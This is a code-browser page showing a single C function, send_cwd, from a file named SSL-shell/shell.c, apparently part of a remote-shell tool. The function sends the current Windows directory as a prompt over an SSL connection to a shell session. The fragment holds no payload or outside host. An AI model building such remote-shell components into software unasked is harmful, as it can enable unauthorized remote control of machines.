MCPcopy Create free account
hub / github.com/R4be1/PuppetMaster / send_cwd

Function send_cwd

SSL-shell/shell.c:84–94  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

82
83#ifdef WIN32
84void send_cwd(SSL *ssl)
85{
86 char path[MAX_PATH];
87 GetCurrentDirectoryA(MAX_PATH, path);
88 // check if there is enoug space to add "> "
89 if (strlen(path) + strlen("> ") < sizeof(path))
90 {
91 strcat(path, "> ");
92 }
93 SSL_write(ssl, path, strlen(path));
94}
95
96bool change_directory(const char *dir)
97{

Callers 1

SSL_shellFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected